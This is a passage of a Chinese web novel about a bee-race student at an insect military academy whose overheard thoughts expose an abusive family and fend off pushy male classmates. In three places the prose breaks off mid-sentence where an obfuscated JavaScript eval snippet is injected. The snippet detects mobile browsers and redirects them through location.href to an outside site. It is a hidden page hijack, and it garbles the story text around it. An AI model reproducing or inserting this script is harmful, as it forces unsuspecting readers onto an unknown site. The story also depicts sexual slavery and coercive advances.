“不要这样说。”诺蓝担心他体力不支倒下,但是看他手撕星兽的时候还是备受震撼,“我怎么会嘲笑你?你只是倒霉遇见了渣雄。” 亚伦紧蹙的眉头一松,眸光闪烁了一下。 待到枪声停下,芬里昂和元帅才冲出来,芬里昂难以置信:“哥哥,你杀了六只星兽?积分算谁的?” “算他们的。” 亚伦冷冰冰的说,他把枪抛高,扔回艾尔法手里,“别再让他乱跑了。” 然后他修长的手颤抖着,轻推了一下诺蓝的后背,“……他还那么小。” 艾尔法稳稳接住枪,然后把灰头土脸的诺蓝拉回到身后,轻柔地擦了擦诺蓝脸上的灰土。 亚伦回过头,“还有,芬里昂,别叫我哥哥,我没你这种弟弟,我也没有雄父。” 芬里昂没想过亚伦会产生反叛的个人思想,亚伦不过是一个家养雌虫,说白了就是雌奴,有什么可骄傲? 他的自尊不允许他去向亚伦求情,但是还要做出态度恳切的样子:“从小到大哥哥一直宠着我让着我,这次也不例外对吗?哥哥,心疼心疼我。” 果然,哥哥有点动摇。 芬里昂又加码道:“我知道哥哥心疼我,我不嫌弃哥哥,只要哥哥答应把这事忘了,回到家,你还是我哥哥,我还是你弟弟。” 【呵,说什么回家就温柔以待,根本不可能,凌虐只有第一次和无数次,如果亚伦就这么答应他,回家等待他的只有鞭子和刑具,说不定还有项圈,审讯罪犯也不过如此。】 附近的虫族聚集,一个个义愤填膺,恨不得大声喊出来:好嘴,骂得好!多骂! 【希望亚伦不要心软,这个家没有把你当成家虫,甚至你可能再也逃不出家门了,你不要自由吗?你可是一条年轻的生命,既然失去了孩子,不能再失去你自己了。】 亚伦腹部的血还没有停止流动,低等种虫族的伤口修复速度极慢,但他只是把衣服撕开勒住腰腹,极低的声音道:“……芬里昂,没有虫愿意做奴隶,除非是为了爱。” “如果爱也只是自己欺骗自己的保护层,那么做雌奴就失去了坚持的意义。” “哥哥你、你什么意思?” 他难得惊慌,难道哥哥根本就不是死心塌地爱他的吗? 亚伦晃了晃身子,芬里昂想去扶他,然而亚伦把他推到一边。 【他可是军雌,被你们那么侮辱,你们不觉得羞愧吗?】 【他只是被孝顺感恩和身为兄长的包容之心蒙蔽了双眼,你们空有权势,本身却是没开化的虫族,他心都快碎了,你俩真是不配做虫。】 对!虫族们愤慨激昂站起来,把瓜子皮扔了一地,骂得好! 虽然有雄虫以凌虐雌虫为乐趣,但不是所有雄虫都是垃圾,这个世界还是有好雄虫的! 但是那个叫诺蓝小雌虫真的不太一般,听他转述的场景又刺激又揪心,而且特别能表达广大虫族的心声,就该这么骂!爽! 亚伦和芬里昂都脸色铁青,元帅揉了揉眉心,他知道自己握不住亚伦了,但是不甘心养到大的小雌奴就这么跑了:“亚伦,留下来,我们会改的。” 【是吗?回到家,把门一关,亚伦就变成父子俩的玩物了,谁会知道?】 元帅脸色一黑。 完了,被说中了。 亚伦却朝门外走去:“这具身体破破烂烂,被你们拿去用过,太脏了,我不要。” 什么? 两只雄虫没想到亚伦会撕破脸,妄图追上去,卢卡斯懒洋洋地挡在门前,高大身躯像一堵结实坚固的墙,似笑非笑道:“二位,留步吧,真给我们雄虫丢脸,他怎么会心甘情愿被你们糟蹋这么多年?” 艾尔法将所有星兽二次清理结束,将赛场维护治安的虫族带来,强制带走父子俩。 诺蓝松了一口气,担心亚伦,赶紧出门去找。 风在野地里奔流,青苔布满一座座沧桑石碑,上面刻着[186.97]的锚点图样。 旧星舰坠毁的地点是虫族古老的神圣祭坛。 沙拉拉的电流声时不时穿过风林,是失联星舰尘封百年的信号,哪怕世人忘记了它,它仍孜孜不倦等待回音。 森林里死寂如深水,电流声却如同悲鸣,象征着虫母的蜂母图腾被刻满了巨石林,那像是虫母的狂热追随者们精心雕刻而成。 可是这里早已荒废,无数被孵化出的异种星兽在祭坛附近如同行尸走肉一样爬行,腐烂的虫肢,恶臭的空气,还有失魂落魄的亚伦。 诺蓝拨开重重荆棘与藤蔓,踩着黑刺的植物,走进祭坛的正中央,拉住了亚伦。 “你……”亚伦迟疑,嗓音喑哑:“……这里很脏,你回去吧。” “亚伦,别犯傻。” 面容精致俊美的少年此时的声音却那样清晰肃然,犹如一轮当空的金色太阳,比帝国的太阳还要耀眼。 “你刚才保护了我,你不是废物,你是帝国的战士,命运不能改变你的选择,磨难只会让你更加强大。” 亚伦如同被锤子凿了脑袋,只知道盯着诺蓝一直一直看。 少年一点一点往来时的方向拉他,声音无比的温柔,在风啸声中静静流淌。 “给我振作起来,为了虫族活着,或者,为了虫族的母亲而活着,祂不愿意看到一位优秀的战士为了不如意的爱情牺牲,轻易地放弃生命。” “听到这周围的风声了吗?祂还没有放弃你,你就不能放弃你自己。” 提到虫母,亚伦黯淡的眸子似乎有一道光芒划过。 “妈妈……”他呢喃道:“如果有妈妈在,那该多好……” 一只虫族的呼唤能引发整个群体的共鸣,以亚伦为中心,虫族们在四面八方停下手中的动作,心中想着一样的事。 千年万载的光阴,虫族一直在寻找虫母的踪迹,他们一颗一颗搜寻宇宙中的星球,每搜过一颗就会吞噬一颗,以防虫母闪现在搜查过的星球里,可是从未有过收获,虫母成为了虫族心中的执念和泡影,是灵魂唯一的栖息之地,是穷尽一生寻找的至高信仰,是颠簸的路,是纯白的嫁衣,是浑黑乌云间的光隙,更是无法抵达的终焉。 剥去生育的外衣,虫族爱祂柔软的身躯,温柔的眼睛,香甜的气息,纤长的秀发,尽管那都是传说,没有虫族切身体会过母爱和腥甜的蜜浆。 可虫族依旧将虫母奉为至尊。 亚伦睁开眼睛,认认真真地看着虫母祭坛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805767|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 圣坛之上,飘渺的母亲在接受一切子民的朝拜,也在低目望着他一人。他可以依偎在祂温暖的膝下,拥抱祂,爱抚祂,将灵魂双手奉上,再也不用在命运里徘徊。 但事实上,一切梦幻的泡沫破灭之后,是陌生的少年把他带离了祭坛。 亚伦看着诺蓝,垂下眸子,片刻后又抬起,“这里如此荒凉,却能给我感觉到温暖,是妈妈回来了吗?” 风中,诺蓝微微笑了一下,“不,祂一直都在。” # 离开旧祭坛的范围,四虫小队重新集结,勤奋猎杀星兽。 比赛结束,乌拉擦了下脸上的血,打开手环,排名显示,他们的积分总数位于前三,可以撤回出发点。 回去的路途很顺利,乌拉和卢卡斯作为两个系的一年级级长,需要回各自的系组织学生,这也意味着他们必须以最快速度完成猎杀任务回到赛场,否则是根本坐不稳级长的位置的。 虫族优胜劣汰,胜者生存,弱肉强食的特点,在军校最为淋漓尽致。 诺蓝结算完分数,就被看台上的校长盯上了。 校长对诺蓝招招手,给了他一张通行证,慈祥的目光像看一株嫩绿色的刚刚拔苗的小草,“诺蓝同学是吗?去我办公室等我。” 诺蓝乖乖点头,虽然不知道校长先生找他干什么,但他还是朝着办公楼的方向走去。 只不过,办公楼下有一群雄虫聚集,最中间有两个虫族,雌虫在哭,雄虫在头大。 【哦,他就是伊万,副校长的小情人,副校长不是被劝退了吗?伊万是找校长诉苦?副校长卡他学籍,不答应就要被退学?这个畜生!】 雌虫大惊,一副不想在这丢虫显眼的模样,雄虫只好让他跑了。 雄虫转回头来看着诺蓝,他银灰发,身穿黑色军装,黑制服包裹着紧实有力的身材,眉眼俊朗,嘴唇优美,微妙透露出一丝性感的肉/欲。 诺蓝却注意到那双诡异至极的眼睛——他是竖瞳,金黄色,眼白泛青。 诺蓝站定脚步,再往前迈一步都迈不开腿。 “你就是诺蓝同学吧?听说你是指挥系的新生,我叫厄斐尼洛,是工程系的。” 【他们是螳螂族!螳螂族抱团,完了,他们会不会迁怒于我?我要被搓成小肉丸了……】 高挑的雄虫朝他走来,手中飞转着小刀,精准巧妙地划过制服的缝隙。 “伊万误入歧途,我来带他感谢校长,没想到会在楼下遇到你。” 诺蓝感觉那刀下一秒就要划过自己的大动脉了,冷汗直流,汗毛竖起,转身要走,然而厄斐尼洛迈开长腿抢在他前面,堵住他去路。 厄斐尼洛的犬牙在唇边隐没,笑容惬意,“别怕,我又不吃了你,我们螳螂虽然有伴侣相食的习性,但唯一的可能性是我被你吃,在使用到极致之后。” 他修长的手臂将诺蓝搂在胳膊底下,侧过鼻尖,细细嗅闻他耳后信息素的气味。 诺蓝看见他手臂的青筋迸起,炙热的体温传来,后退故意踩他脚,他反倒是笑了笑。 “你身上都是雄虫喷洒过的味道。” 好斗的雄性螳螂带着热意的呼吸沾湿在他颈侧:“唔……好热啊,让我猜猜你们队伍发生了什么。” “趁我们系同学都跑去看热闹,一只星兽都没猎到,被我罚去操场哭着跑圈的时候,你们在痛快猎杀星兽。” 诺蓝僵硬身体,冷汗划过脸庞,眼睛不经意间抬起撞进他的视线。 金黄的竖瞳莫名变得矮圆,随后缓缓收紧手指,虫翅轻撩过少年的发丝。 他将诺蓝笼罩在翠绿色的虫翅里,一片阴影中,垂下眼眸打量着他,带着诡谲的笑意说:“小漂亮,老实告诉我,你背着我们全校师生,给他们提供什么特殊服务了?” 5. 第 5 章 诺蓝非常后悔没有停在安全区外,远离这群挥舞着巨镰的螳螂。 闯入一只雄性螳螂的领地绝不是值得炫耀的事,他们刚从赛场里回来,浑身的肌肉贲颤鼓动,汗打湿军装,巨镰还没来得及收起,在两臂鼓出膨胀的虫肢。 雄性螳螂们的巨镰狰狞而光滑,外壳上流淌着一团团的光晕,背后作战用的武装加强鞘翅高高竖起来,把柔软的膜翅隐藏在里面,腹甲下鼓起一块,意味着……他们都是没脸没皮的雄性螳螂,因为运动,血液运动加速了。 【螳螂族基因多子、好生养,终身享有共雌制度,怪不得副校长喜欢伊万,三百六十五个小情人有一百个都是螳螂,怎么,喜欢被大镰刀揉搓的快乐吗?】 “……” 螳螂们猛地站在原地,他们诡异地保持沉默,无措看向厄斐尼洛。 群体中只有一位引领者,而他们要做的只有一件事:臣服于首领和他的雌虫伴侣,必要的时刻,做一只透明虫。 厄斐尼洛还算有礼貌,他用膜翅笼罩着诺蓝,避开了他的躯体,免得伤到他。 他满是薄汗的大手抵在诺蓝的耳边墙壁上,诺蓝能感觉到潮湿的雾气湿湿热热地朝耳畔袭来,强大而诡异的气场笼罩下来。 意味着,这是一只绝对强权的高等种。 “放开我……”诺蓝是个好脾气的虫,一怒之下也就是怒了一下,用手肘击打雄虫的胸。 雄虫露出了竖线眼睛,眼白变红,呼吸骤然加重,似乎无法控制自身虫化的趋势,“……小漂亮,你太用力了。” 但是从他脸上根本就看不出什么愤怒的情绪。 棉絮状的触须从银蓝头发里竖起来,抖擞精神站立,顶端弯腰,点了点诺蓝的额角,非常坏心眼地勾出了虫母的小触须。 诺蓝猝不及防,偏着脑袋躲,慢慢矮下去,就快要蹲到地上了:…… 一丛一丛电流从他脊背上蹿过去,相信厄斐尼洛也是如此感受,否则,他的呼吸不会一直在灼热颤抖…… 【这家伙,到底想说什么不能直接说,非要用触须交流的方式?不知道触须是私密地吗啊啊啊!】 听到这道声音,厄斐尼洛的眸光愈发深邃,唇边闪过不可察觉的玩味。 果然是小漂亮的心声,他到底从哪里来的这些小道消息? 不过真是有趣极了,听他的心声,三天三夜上战场也不觉得累。 粗重呼吸的雄虫递出舌尖,慢悠悠地舔了下嘴唇,耐着性子,慢条斯理地说:“不想说也没关系,反正伊万不会再回来,他的精神力还不需要联合一位指挥系的同学帮忙训练,而我需要一位组员,不如你和我绑定,我会把你照顾得很舒服。” 绑定?训练吗? “不要。” 诺蓝感觉身上麻酥酥的,拒绝了不怀好意雄虫的诱惑邀约,“我们又不熟。” “你和他们就很熟?”厄斐尼洛低头贴近了他的脸颊,呼吸掀起他颊边的碎刘海,口器嘻嘻索索摩擦着,蛊惑道:“你拒绝我,是想着卢卡斯和艾尔法那群实战系的野蛮虫吗?” 诺蓝只顾着躲避,根本无暇回答他的无理问题。 雌虫的触须通常不太华丽,虫母的种族——蜜蜂须须很细长,是金黄的透明色,不停挥舞着,拒绝雄虫触须的霸道缠绕。 但是这场抗争以诺蓝的失败告终。 雄虫的触须勾住了诺蓝的须须,上上下下摩擦着,都快把诺蓝的眼泪给磨出来了。 “嗯?小漂亮,说话。” “……” 诺蓝被欺负的不行,躲又躲不开,只能躲在角落里生闷气。 厄斐尼洛也不把他逼得太紧,就是用虫翅拢着诺蓝,用触须一下一下撩拨着他的小触须,像是在逗他玩,“看你委屈的,搞得像我欺负你了似的。” 【不然呢?现在的虫怎么都这么不讲道理?】 诺蓝把脑袋埋在胳膊里,自暴自弃地缩成一团。 厄斐尼洛望着诺蓝的脑瓜顶,嘶哑的嗓音尽量变得柔和:“诺蓝,我听卢卡斯他们叫你小可爱,但你们可是刚刚才认识吧? 听我说,那只自来熟的黑壳甲虫没什么好的,实战系都是粗鲁的雄虫,听说过军虫服从性训练吗?他们都没通过服从性训练,至今成绩还是零分,根本是一群不拴上项圈绳子就不懂得听话的未开化虫子,他们会抢占你,把你弄得破破烂烂,湿漉漉、脏兮兮的。” 诺蓝抬起头,眼神很迷茫。 看见他湿润的黑眸子,厄斐尼洛脸上的笑容越发明显,想把他从地上扶起来,但是诺蓝一巴掌拍掉了他的手。 厄斐尼洛眸子一紧,一道光划过,诡异而兴奋。 诺蓝努力咸鱼摆尾从地上爬了起来,气喘吁吁地说:“省省吧,厄斐尼洛,他们的服从性很好,至少比你要好。” “就算他们成绩没通过怎么样?我会帮他们解决考试,我们俩不可能建立新的阵营,我就算是组队,也要找长得帅的。” 从小到大一直被夸帅哥的厄斐尼洛:? 厄斐尼洛收起笑容,磨了磨牙尖,眼神看得诺蓝心里直突突,很想逃跑。 诺蓝摸了摸鼻子,然后挺起身体,眼神若无其事地盯着他:“让开,厄斐尼洛。” 螳螂们震惊于诺蓝敢这么和首领对话! 果然是首领认定的伴侣,释放出的信息素浓度超标,就差把“我对他很感兴趣”七个大字刻脸上了,可惜,就小蜜蜂没有意识到。 如果他们不在这里,恐怕首领就要用大镰刀把凶巴巴的小蜜蜂搂起来摔虫巢里了。 不过,首领的伴侣,他们会当做自己的伴侣来照顾而不越过边界线,否则会遭到首领的断头绞杀,螳螂们深谙这一点。 “很抱歉,小可爱,我们的初次会面貌似不太愉快,期待下次遇见你时,你会对我笑一笑。” 厄斐尼洛嗓眼里含着模糊不清的笑意,退后一步,虫翅收拢,缩回翼骨膜里,给他让出一条路。 诺蓝终于呼吸到了雄性荷尔蒙以外的空气,又感觉到一阵庆幸。 如果不是出生点没选好,被稀里糊涂拉进了赛场,他现在大概在巢穴里睡午觉。 但凡事要往好了想,作为一个没有身份、F等级、没有背景的普通虫族路人甲,诺蓝没有太多精力和厄斐尼洛这样的虫纠缠不清,他还得赶往校长室,可能要被训话,或者分配一些工作。 路过厄斐尼洛身边的时候,雄虫的话语吹进耳根。 “小可爱,如果你反悔了,时刻来找我,我会亲手教会你如何使用我们,一定比实战系那群虫子来得文明。” 想到厄斐尼洛的恶劣做法,诺蓝的脸颊微微红了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805768|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块。 谁会用触须磨来磨去?? 【神、神经病吧!】 不太会骂虫的诺蓝拼尽全力,骂出了这样一句话。 推开厄斐尼洛挡路的胸,顺便狠狠踩了一脚他的军靴,厄斐尼洛向后倒了两步,脸上止不住的笑意,看着他飘扬的发丝末梢,边喘边咳嗽。 螳螂们很自觉地向两侧排开,诺蓝快步走出去,捂着心脏平复心跳,还好,厄斐尼洛没做太过分的事,否则他一定扇他的嘴巴…… 须须真的很烫呜呜呜…… 诺蓝耷拉着翅膀,捂着脸,一路打听来到了校长室门口。 “请进。” 校长请他坐在办公桌面前,双手交叉搁在桌面上,笑着说:“诺蓝同学,有兴趣加入学生会吗?” 【学生会?那是什么地方?】 校长听见了他的心声,更加确信就是眼前这个小同学掌握了其他虫族的秘密,一定要留下他! 按了下铃,对传呼机说:“让迦许进来,给他们学生会添一员干将。” 【迦许是学生会长?哦哦,那他挺厉害,去年帮助帝国军事学院的财政支出缩减了15%,在年末大比武里战胜所有二年级生夺得冠军,并且拒绝了雌虫的恋爱请求……理由居然是不行?】 校长一愣,顿时感觉到惆怅和悲伤。 怪不得啊怪不得…… 迦许那孩子多好啊,又高又帅,白白净净的,年纪轻轻就不行了,他们蛾族的生育能力没有这么差才对啊? 【还有还有,迦许的家族关系十分复杂,和艾尔法、梅、厄斐尼洛他们是四大家族的成员,也就是说,他们都认识,这所学校是贵族学校,这颗星球这个星系,都是他们说了算……我还是当一条咸鱼比较好,多一事不如少一事,一个我都惹不起。】 校长把怜惜的心情分了50%给眼前的小蜜蜂,想了想,从办公桌的抽屉里取出一管营养液,推到诺蓝手指边。 诺蓝睁圆眼睛,吃惊,“唔、校长先生……” “好孩子,喝吧。”校长笑眯眯地说,“补充一下体力,你应付那么多雄虫,很耗费精力的。” 【不耗费精力,但是想喝营养液,应该是甜的吧?】 ……这孩子,连营养液都没喝过,一定过了不少苦日子。 校长过分怜爱了,捧出来一箱:“都拿去喝。” 诺蓝惊喜,“谢谢先生!” 校长温柔微笑,诺蓝小心翼翼掰开营养液,仰头喝掉……唔,很甜,虫族的智慧与时俱进了,以前只有虫母的蜜液才会这么甜。 余光看见一个雄虫朝办公室里走来。 【来了来了,一会不能提“萎”这个音调,也不能说“不行”,更不能提恋爱、结婚、生虫崽这种话题,要照顾脆弱雄虫同学的内心。】 迦许:…… 不行? 我、不、行? 好。 迦许站定在办公桌前,军裤包裹的健长双腿挎着手枪,红发银眸,摘掉披风和黑皮手套,皮笑肉不笑地看着座椅上无辜的诺蓝。 在闻到他身上讨厌的雄虫味儿之后,宽肩长腿的帅气雄虫不动声色地坐在他身边的椅子上。 诺蓝屁股躲了躲。 迦许缓缓将黑皮手套按在桌面上,沉声道:“校长,您找我?” 6. 第 6 章 这是一条长形板凳,诺蓝这一挪动,迦许就差点一屁股掉地下。 迦许眼疾手快一把按住板凳边缘,眸子轻描淡写看了眼诺蓝。 诺蓝闭上眼睛:…… 【完蛋了呜呜呜……他肯定要给我穿小鞋了,这蛾子的脾气太凶了,我怎么会这么倒霉啊……】 迦许似笑非笑地盯着诺蓝的脑袋。 这小蜜蜂,话还挺多。 迦许的手指修长有力,不紧不慢地在膝盖上敲击,吸引了诺蓝的视线。 【这么漂亮的手,能减轻一些“不行”的自卑吧?迦许啊,和你的五指兄弟过一辈子吧,别害怕,没有虫会笑话你的,我也不会……噗哈哈哈哈哈哈!】 迦许的脸色霎时间十分好看,微眯双眸,屁股轻抬,在小蜜蜂差点掉凳的瞬间,若无其事地坐稳了。 【报复!绝对的报复!小心眼的蛾子,呸!】 好在校长打破了面前两个小虫崽的明争暗斗。 “迦许,我决定让诺蓝进入学生会,你不用给他安排太累的工作,平时多照顾照顾他,你二年级了,他才一年级,对军校里的很多规则不太了解。” 校长面容和蔼,看着他的得意门生们,就好像看见了帝国未来的希望。 【校长先生是好虫……】 诺蓝感动到鼻子微酸,他想他远古时期的家虫们了。 迦许点头应下:“我知道了,校长。” 诺蓝诧异地看了他一眼,迦许也正好把目光移过来,目光穿过缕缕红发,勾起唇角笑得温和无害,和恶劣行径截然相反。 “放心,有什么困难和我说,我会事无巨细地帮助你。” 迦许伸出手,诺蓝颤颤巍巍地握住他的手。 那双瘦长的手不轻不重地捏了下诺蓝的手骨,诺蓝勉为其难地扯起一个笑容。 可能这笑容有点难看,迦许忍俊不禁,俊俏的脸庞浮现一层淡淡的笑意,他干咳一声,扭过脸,对校长说:“那我等下就把他带走,他属于我了。” “可以。”校长赞许地点点头,这才是他的好孩子! 今年年底的帝国宫廷聚会,就带这几个孩子去吧,王虫陛下一定会喜爱这几个小家伙的。 “——校长!!!” 门被推开,副校长冲进来,保安根本拦不住副校长,副校长的六支翅骨挡住虫们,义愤填膺地大声指责: “为什么要保留我的职位?我明明什么都没做错!” 校长揉了揉太阳穴:“没做错?那我也睡你,你能接受?” 副校长惊了:“什么!” 校长冷冷说:“我没当众开除你,你就该感恩我了,以你的生活作风来看,雌保会迟早会把你判处有罪,我没把你的事上报就已经是仁至义尽了。” 副校长哑口无言,没想到校长会那么偏信那道心声,但那道心声完全没说错,现在最好的办法就是自己提出离职,否则雌保会把这种性丑事曝光,他直接就入狱了。 校长让保安把他拉走,他垂头丧气地被拖走了。 【校长先生英明神武,太明智了,我好崇拜他!】 校长压不住嘴角的笑意,但还要装作没听见的样子。 还是诺蓝有眼光。 “好了,你们走吧,我这里还有工作要做。” 迦许和诺蓝离开了,校长背着手站起来,望着窗外天空飞过的一只只蝴蝶突袭队员。 军校又有了新气象,迎来了一个坦率的小家伙。 不能把众虫族能听见他心声的事情告诉他。 否则,不会让那小家伙太骄傲了吗? # 诺蓝在办公楼门口就停住了,再三犹豫,还是决定逃跑。 原因在于身边的迦许,迦许外表看上去和高等种虫族那优美、挺拔、俊俏的外形没有区别,但是他身上浓厚的血腥气——也许是刚刚结束了一场虫族屠杀所致,闻上去十分鲜甜。 刚才在办公室里闻不太清,现在到了通风的环境,那股刺激反而更加强烈。 诺蓝揉了揉鼻子,用手遮住鼻子。 不知道为什么,闻到这个味道就肾上腺素升高,身体某个阀门被打开,眼前一阵阵的白茫茫,什么都看不清,大脑里的神经也跟着一蹦一跳。 这似乎是虫母生理机制的本能? 远古时期,想要接近虫母的虫族必然是通过层层筛选,在虫群里浴血奋战,脱颖而出。 来到虫母巢穴前的那一刻,雄性虫族通常是浑身散发湿漉漉的血腥气息,以此来夺得虫母的青睐。 而其他虫族,不论是雌虫还是雄虫,都不会很喜欢死亡的气味,也不喜欢胜利者浑身散发出的戾气。 诺蓝只想掩饰自己特殊的反应,含糊地说:“学长,如果没事的话,我就先回去了。” 迦许看了一眼手腕上的智脑环,极光燕蛾翅柔软地包裹住诺蓝,把小蜜蜂搂到身前来。 “时间还早,你要回去睡觉?” 诺蓝唯唯诺诺辩解:“……学长,我不是回寝室,我是想逛逛校园。” 迦许的发丝轻柔拂过他的脸颊,望着小蜜蜂烧红了的耳朵,轻呼一口气,带着笑意说:“那种事不急着做,初次见面,我没准备什么可以送给你的,不如,我带你去训练场,熟悉一下你日后的课业内容?上将正在协助实战系做军虫服从性训练,每一年都有30%的虫族无法通过训练,你知道,等待他们的是什么吗?” “是什么?”诺蓝下意识反问他。 “是束缚颈环,拴在脖子上那种,不管做什么,都会被监控到,包括对雌虫心动的时候,也会被电击。” 红发银眸的雄虫用手指勾开自己的衣领,微微俯下身子,给诺蓝看自己的脖子:“喏,就是这个,被打上劣雄的标志之后,我们连心动都不行,会很痛、很痛、很痛的哦。” 【知道了,很痛哥。】 诺蓝伸出手指去摸,看见铁黑色的刻痕:劣雄998号。 劣雄是什么意思?感觉问出口很不好,还是不问了,该知道的时候就知道了。 看上去,项圈是为了防止精神力压力过大,保护其他虫族的道具,那这群劣质雄虫其实是两极化基因的虫族,打起来不要命的那种,但是日常生活中,如果不控制精神力,就会爆体而死。 哦!所以实战系都是劣雄和潜在劣雄基因的虫族?好可怜……明明劣雄可以作为虫母的守护者,因为死忠。 迦许没有躲避小蜜蜂的手,笑了笑,“好奇,还是想要嘲笑?” 诺蓝:“都不是!我只是想看看……” 迦许于是抬起下颌,他的脖子线条是属于雄性的崎岖骨骼,青筋被铁质项圈压出一道勒痕,他向前探着头,任由小蜜蜂的手指轻轻自己的喉结,顺过两侧的青筋。 诺蓝认真观察项圈,眼睫毛扑簌簌地抖动着,他的睫毛黑亮健康,从根部向前舒展,翘起一个很优雅的弧度,鼻梁下是一双弧度优美的嘴唇…… 迦许低眼看了很久,莫名其妙觉得渴,喉结狠狠一滚,别过头。 诺蓝立刻收回手。 【喉结这么厚,学长看上去身体也挺好的啊,可怜了,那个不行。】 迦许:…… 迦许握住他的手,放在自己的项圈上,声音压很低:“有一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805769|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣言,我可以澄清。” “我不是不行,我只是不喜欢那只雌虫同学,所以不将就谈恋爱,你懂不懂,小蜜蜂?” “嗯嗯嗯!”诺蓝的手指下意识勾紧了项圈,迦许呛了一口,俊脸立刻漫上一层薄薄的绯红,两支触须立刻探出头来。 诺蓝第一次看蛾族的触须,有很多软软的绒毛……帝国有没有一种职业,可以成天撸蛾子们的触须?那一定很治愈。 “喂,小蜜蜂,看我看入神了吗?”迦许坏心思地靠近他,鼻尖停留在他脸前5厘米。 雄性虫族粗糙的手抵在他制服下的腰侧,目光垂落在少年白皙滑腻的后颈皮肤上面。 诺蓝……明显感觉到了雄虫将他视作狩猎目标,毕竟,蛾子们一向缓慢的心跳始终都未平息。 诺蓝盯着他的银色瞳孔,咽了下口水,“……不要吃了我,学长,你答应过校长的,雌虫在我这个年纪,特别瘦,不好吃。” 【最好吃的时候是肚子里有幼崽的时候……不过他不会知道的,哈哈!】 迦许挑了下眉毛,慢悠悠道:“刚才在校长室,某只小蜜蜂不是很嚣张吗?” 诺蓝非常想照着他的脸给他一拳,但眼下迦许是他的顶头会长,他再生气也只能小声说:“……我不是小蜜蜂,其实我是大蜜蜂。” 是远古大蜜蜂。 但是不能告诉你。 迦许盯着他看了一会儿,低声说:“你真应该多了解一下我们实战系的虫,再来掌控我们的世界,指挥系的小家伙。” …… 诺蓝被迦许拉到服从性训练赛场,偌大的训练场全都是实战系的虫族,气味复杂称不上好闻。 想象一下,满身是汗的雄虫,为了打败对方,甚至三天三夜不换衣服不休息,最大限度地服从军队命令。 不过也有汗腺不发达的虫族。 一只蝶族雄虫穿着紧身高领的作战服,衣服包裹着他强劲有力的手臂和肌肉,充斥着冰冷的野兽般的力量,他远离其他战友,一副生人勿近的态度。 他看上去很清爽,哪怕是没有在笑,五官轮廓的冷峻就已经很有冲击力了。 诺蓝是完全不想招惹这种类型的雄虫的。 在诺蓝路过他的时候,很意外地在他身上闻到了和迦许一样的血腥气味。 雄虫却歪了下头,注视他片刻,就像是蛰伏已久的虫子看着他唾手可得的美味食物一般。 蝶族扯住诺蓝的衣角,低下头,舌尖轻轻舔舐过诺蓝的发丝,几缕稍显潮湿的发丝垂落,诺蓝吓得僵住了。 湿润的舌头带着冰冷的潮意… 有什么光滑的银饰品划过额角,感觉是舌钉。 …… “贝利尔,别没礼貌,会吓到新同学。” 另一只蝶族的雄虫斜倚着训练柱,弯了弯眸,温和地注视着诺蓝,“同学,你和迦许一起来的吗?他没告诉我们,会带来一个F级的小雌虫,你不该来这里的。” 这只蝶挂着突袭队的队长标志,名牌上显示他叫梅。 是虫族四个大家族里的梅! 梅脸上的笑容和善而柔和,满含鼓励:“不过迦许会长的一番好意也不能辜负,同学,我向你保证,我们很好满足的,不会让你太过劳累。” 【满足什么?劳累?他们要干什么?天哪谁给我解释一下啊啊啊!】 梅眨了眨眼睛,就像什么都没听见,只不过他在面对贝利尔的时候,温文尔雅的笑容又转化为冷静克制的质询。 “就算你喜欢蜂蜜,也别把自己搞得像只发情的疯子。”梅低声说:“把项圈戴上,别吓到我们的客人。” 7. 第 7 章 贝利尔厌世的脸难得浮现一丝红晕,他长相很俊,这表情在他脸上简直是难得的佳作。 “好吧好吧。” 贝利尔两支细长优美的蝶须猛猛往后背,压在头发丝里,简直是严丝合缝。 然后贝利尔乖顺地退到了梅身后。 梅笑着说:“别介意,小诺蓝,贝利尔是我弟弟,他从小一看见雌虫就害羞。” 诺蓝对梅的印象还算不错。 雄虫的眉眼间流露温柔,俊美的外表和贝利尔十分相似,只是比起弟弟的沉默寡言,哥哥明显更为善于言谈,给虫的感觉也更容易相处。 如果他和贝利尔站在一起,诺蓝大概会找他谈天说地。 “我的名字是梅。” 梅打开手中的光脑,翻看了一眼军校中央指派中心的资料,声音很柔和。 “诺蓝同学,我接到通知,实战系上报学员数量,按照比例分配指挥系学员,你也得到了分配任务,你需要负责的是一年级和二年级,至于你会被分配到哪个队伍,需要做信息素匹配,根据匹配值决定。” 系统在诺蓝脑海里迅速调出来一批资料。 {梅·圣恩,鳞翅目突袭队的队长,和特战队的艾尔法并列为帝国军事学院的两大王牌队长、明日之星,在整个帝国都颇有名气。 梅主张弹性训练,和艾尔法带队理念不合。 